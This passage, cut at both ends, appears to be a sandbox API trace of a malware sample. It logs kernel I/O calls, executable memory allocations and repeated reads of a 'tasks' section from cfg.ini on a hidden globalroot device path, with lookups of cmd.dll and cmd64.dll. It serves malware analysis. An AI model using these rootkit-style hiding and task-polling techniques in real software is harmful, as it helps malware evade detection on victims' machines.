_Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.027] KeEnterCriticalRegion () [0130.027] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.027] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d0f000 [0130.027] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.027] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.027] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.027] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0130.027] IdePortDispatch () returned 0x103 [0130.028] KeWaitForMutexObject () returned 0x0 [0130.028] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.028] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.028] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.028] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.028] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0130.028] IdePortDispatch () returned 0x103 [0130.028] KeWaitForMutexObject () returned 0x0 [0130.028] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.028] KeLeaveCriticalRegion () [0130.028] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.029] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.029] KeEnterCriticalRegion () [0130.029] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.029] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.029] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.029] KeLeaveCriticalRegion () [0130.029] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.029] KeEnterCriticalRegion () [0130.029] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.029] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.029] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfd070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.029] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.029] KeLeaveCriticalRegion () [0130.029] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.029] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.029] KeEnterCriticalRegion () [0130.029] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.029] ExFreePoolWithTag (P=0xfffffa8003c082d0, Tag=0x0) [0130.029] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.029] KeLeaveCriticalRegion () [0130.029] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.029] ReleaseMutex (hMutex=0xf0) returned 1 [0130.029] Sleep (dwMilliseconds=0x927c0) [0130.045] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0130.045] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.045] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0130.045] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.045] KeEnterCriticalRegion () [0130.045] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.045] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.045] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.045] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.045] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0130.045] IdePortDispatch () returned 0x103 [0130.045] KeWaitForMutexObject () returned 0x0 [0130.045] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.045] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.045] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.045] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.045] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.045] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c075c0 [0130.045] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.045] KeLeaveCriticalRegion () [0130.045] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.045] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.045] KeEnterCriticalRegion () [0130.045] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.045] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.045] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.045] KeLeaveCriticalRegion () [0130.045] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.045] KeEnterCriticalRegion () [0130.045] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.045] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.045] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.045] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.046] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0130.046] IdePortDispatch () returned 0x103 [0130.046] KeWaitForMutexObject () returned 0x0 [0130.046] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.046] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.046] KeLeaveCriticalRegion () [0130.046] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.046] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.046] KeEnterCriticalRegion () [0130.046] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.046] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d14000 [0130.046] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.046] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.046] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.046] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0130.046] IdePortDispatch () returned 0x103 [0130.046] KeWaitForMutexObject () returned 0x0 [0130.046] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.046] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.046] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.046] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.046] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0130.046] IdePortDispatch () returned 0x103 [0130.046] KeWaitForMutexObject () returned 0x0 [0130.047] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.047] KeLeaveCriticalRegion () [0130.047] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.047] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.047] KeEnterCriticalRegion () [0130.047] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.047] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.047] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.047] KeLeaveCriticalRegion () [0130.047] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.047] KeEnterCriticalRegion () [0130.047] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.047] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.047] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c08dd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.047] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.047] KeLeaveCriticalRegion () [0130.047] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.047] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.048] KeEnterCriticalRegion () [0130.048] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.048] ExFreePoolWithTag (P=0xfffffa8003c075c0, Tag=0x0) [0130.048] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.048] KeLeaveCriticalRegion () [0130.048] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.048] ReleaseMutex (hMutex=0xf0) returned 1 [0130.048] Sleep (dwMilliseconds=0x927c0) [0130.064] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0130.064] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.064] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0130.064] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.064] KeEnterCriticalRegion () [0130.064] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.064] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.064] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.064] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.064] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0130.064] IdePortDispatch () returned 0x103 [0130.064] KeWaitForMutexObject () returned 0x0 [0130.064] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.064] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.065] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.065] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.065] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.065] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c07180 [0130.065] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.065] KeLeaveCriticalRegion () [0130.065] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.065] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.065] KeEnterCriticalRegion () [0130.065] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.065] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.065] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.065] KeLeaveCriticalRegion () [0130.065] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.065] KeEnterCriticalRegion () [0130.065] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.065] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.065] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.065] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.065] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0130.065] IdePortDispatch () returned 0x103 [0130.065] KeWaitForMutexObject () returned 0x0 [0130.065] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.065] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.065] KeLeaveCriticalRegion () [0130.065] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.065] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.065] KeEnterCriticalRegion () [0130.065] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.065] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d19000 [0130.065] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.065] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.066] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.066] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0130.066] IdePortDispatch () returned 0x103 [0130.066] KeWaitForMutexObject () returned 0x0 [0130.066] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.066] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.066] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.066] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.066] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0130.066] IdePortDispatch () returned 0x103 [0130.066] KeWaitForMutexObject () returned 0x0 [0130.066] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.066] KeLeaveCriticalRegion () [0130.066] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.067] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.067] KeEnterCriticalRegion () [0130.067] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.067] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.067] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.067] KeLeaveCriticalRegion () [0130.067] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.067] KeEnterCriticalRegion () [0130.067] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.067] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.067] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfd290, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.067] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.067] KeLeaveCriticalRegion () [0130.067] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.067] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.067] KeEnterCriticalRegion () [0130.067] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.067] ExFreePoolWithTag (P=0xfffffa8003c07180, Tag=0x0) [0130.067] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.067] KeLeaveCriticalRegion () [0130.067] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.067] ReleaseMutex (hMutex=0xf0) returned 1 [0130.067] Sleep (dwMilliseconds=0x927c0) [0130.083] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0130.083] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.083] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0130.083] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.083] KeEnterCriticalRegion () [0130.083] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.083] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.083] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.083] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.083] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0130.083] IdePortDispatch () returned 0x103 [0130.083] KeWaitForMutexObject () returned 0x0 [0130.083] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.083] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.083] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.083] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.084] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.084] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c07180 [0130.084] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.084] KeLeaveCriticalRegion () [0130.084] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.084] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.084] KeEnterCriticalRegion () [0130.084] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.084] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.084] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.084] KeLeaveCriticalRegion () [0130.084] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.084] KeEnterCriticalRegion () [0130.084] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.084] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.084] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.084] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.084] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0130.084] IdePortDispatch () returned 0x103 [0130.084] KeWaitForMutexObject () returned 0x0 [0130.084] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.084] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.084] KeLeaveCriticalRegion () [0130.084] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.084] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.084] KeEnterCriticalRegion () [0130.084] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.084] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d1e000 [0130.084] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.084] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.084] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.084] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0130.085] IdePortDispatch () returned 0x103 [0130.085] KeWaitForMutexObject () returned 0x0 [0130.085] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.085] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.085] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.085] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.085] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0130.085] IdePortDispatch () returned 0x103 [0130.085] KeWaitForMutexObject () returned 0x0 [0130.085] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.085] KeLeaveCriticalRegion () [0130.085] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.086] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.086] KeEnterCriticalRegion () [0130.086] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: 